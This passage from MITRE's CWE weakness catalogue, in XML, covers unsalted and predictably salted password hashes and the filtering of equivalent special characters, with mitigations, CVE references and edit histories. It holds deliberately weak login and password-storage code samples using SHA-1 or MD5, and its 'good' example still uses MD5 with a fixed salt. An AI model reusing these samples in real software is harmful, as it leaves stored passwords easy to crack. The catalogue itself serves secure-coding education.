                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Configuration Checker</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-51">
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.</xhtml:p>
                  <xhtml:p>Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.</xhtml:p>
                  <xhtml:p>Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.</Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-25">
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-101">
               <Intro_Text>In both of these examples, a user is logged in if their given password matches a stored password:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>unsigned char *check_passwd(char *plaintext) {<xhtml:div style="margin-left:1em;">ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );<xhtml:br/>
                        <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                        <xhtml:br/>if (equal(ctext, secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String plainText = new String(plainTextIn);<xhtml:br/>MessageDigest encer = MessageDigest.getInstance("SHA");<xhtml:br/>encer.update(plainTextIn);<xhtml:br/>byte[] digest = password.digest();<xhtml:br/>
                     <xhtml:i>//Login if hash matches stored hash</xhtml:i>
                     <xhtml:br/>if (equal(digest,secret_password())) {<xhtml:div style="margin-left:1em;">login_user();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328).  It also does not use a salt (CWE-759).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>def storePassword(userName,Password):<xhtml:div style="margin-left:1em;">hasher = hashlib.new('md5')<xhtml:br/>hasher.update(Password)<xhtml:br/>hashedPassword = hasher.digest()<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i># UpdateUserLogin returns True on success, False otherwise</xhtml:i>
                        <xhtml:br/>return updateUserLogin(userName,hashedPassword)</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.</Body_Text>
               <Body_Text>Fixing this is as simple as providing a salt to the hashing function on initialization:</Body_Text>
               <Example_Code Nature="Good" Language="Python">
                  <xhtml:div>def storePassword(userName,Password):<xhtml:div style="margin-left:1em;">hasher = hashlib.new('md5',b'SaltGoesHere')<xhtml:br/>hasher.update(Password)<xhtml:br/>hashedPassword = hasher.digest()<xhtml:br/>
                        <xhtml:br/>
                        <xhtml:i># UpdateUserLogin returns True on success, False otherwise</xhtml:i>
                        <xhtml:br/>return updateUserLogin(userName,hashedPassword)</xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-1526</Reference>
               <Description>Router does not use a salt with a hash, making it easier to crack passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1526</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-1058</Reference>
               <Description>Router does not use a salt with a hash, making it easier to crack passwords.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-1058</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-291"/>
            <Reference External_Reference_ID="REF-292"/>
            <Reference External_Reference_ID="REF-293" Section="5.2 PBKDF2"/>
            <Reference External_Reference_ID="REF-294"/>
            <Reference External_Reference_ID="REF-295"/>
            <Reference External_Reference_ID="REF-296"/>
            <Reference External_Reference_ID="REF-297"/>
            <Reference External_Reference_ID="REF-298"/>
            <Reference External_Reference_ID="REF-631"/>
            <Reference External_Reference_ID="REF-632"/>
            <Reference External_Reference_ID="REF-633"/>
            <Reference External_Reference_ID="REF-634"/>
            <Reference External_Reference_ID="REF-635"/>
            <Reference External_Reference_ID="REF-636"/>
            <Reference External_Reference_ID="REF-637"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 9, &#34;Creating a Salted Hash&#34; Page 302"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Salt Values&#34;, Page 46"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Potential_Mitigations, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations, References, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="76" Name="Improper Neutralization of Equivalent Special Elements" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product correctly neutralizes certain special elements, but it improperly neutralizes equivalent special elements.</Description>
         <Extended_Description>The product may have a fixed list of special characters it believes is complete. However, there may be alternate encodings, or representations that also have the same meaning. For example, the product may filter out a leading slash (/) to prevent absolute path names, but does not account for a tilde (~) followed by a user name, which on some *nix systems could be expanded to an absolute pathname. Alternately, the product might filter a dangerous "-e" command-line switch when calling an external program, but it might not account for "--exec" or other switches that have the same semantics.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="75" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Other</Impact>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Programming languages and supporting technologies might be chosen which are not subject to these issues.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Utilize an appropriate mix of allowlist and denylist parsing to filter equivalent special element syntax from all input.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Equivalent Special Element Injection</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Modes_of_Introduction, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Equivalent Special Element Injection</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-06-21">Failure to Resolve Equivalent Special Elements into a Different Plane</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="760" Name="Use of a One-Way Hash with a Predictable Salt" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.</Description>
         <Extended_Description>
            <xhtml:p>This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.</xhtml:p>
            <xhtml:p>It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="916" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Background_Details>
            <Background_Detail>In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-51">
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.</xhtml:p>
                  <xhtml:p>Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.</xhtml:p>
                  <xhtml:p>Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.</xhtml:p>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.</Description>
               <Effectiveness>Limited</Effectiveness>
               <Effectiveness_Notes>Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2008-4905</Reference>
               <Description>Blogging software uses a hard-coded salt when calculating a password hash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4905</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1657</Reference>
               <Description>Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1657</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0967</Reference>
               <Description>Server uses a constant salt when encrypting passwords, simplifying brute force attacks.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0967</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0408</Reference>
               <Description>chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0408</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-291"/>
            <Reference External_Reference_ID="REF-292"/>
            <Reference External_Reference_ID="REF-293" Section="5.2 PBKDF2"/>
            <Reference External_Reference_ID="REF-294"/>
            <Reference External_Reference_ID="REF-295"/>
            <Reference External_Reference_ID="REF-296"/>
            <Reference External_Reference_ID="REF-297"/>
            <Reference External_Reference_ID="REF-298"/>
            <Reference External_Reference_ID="REF-631"/>
            <Reference External_Reference_ID="REF-632"/>
            <Reference External_Reference_ID="REF-633"/>
            <Reference External_Reference_ID="REF-634"/>
            <Reference External_Reference_ID="REF-635"/>
            <Reference External_Reference_ID="REF-636"/>
            <Reference External_Reference_ID="REF-637"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 9, &#34;Creating a Salted Hash&#34; Page 302"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Salt Values&#34;, Page 46"/>
         </References>
	 <Notes>
	   <Note Type="Maintenance">As of CWE 4.5, terminology related to randomness, entropy, and
	   predictability can vary widely. Within the developer and other
	   communities, "randomness" is used heavily. However, within
	   cryptography, "entropy" is distinct, typically implied as a
	   measurement. There are no commonly-used definitions, even within
	   standards documents and cryptography papers. Future versions of
	   CWE will attempt to define these terms and, if necessary,
	   distinguish between them in ways that are appropriate for
	   different communities but do not reduce the usability of CWE for
	   mapping, understanding, or other scenarios.</Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2009-03-03</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations, References, Relationships, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, References, Relationships</Modification_Comment>
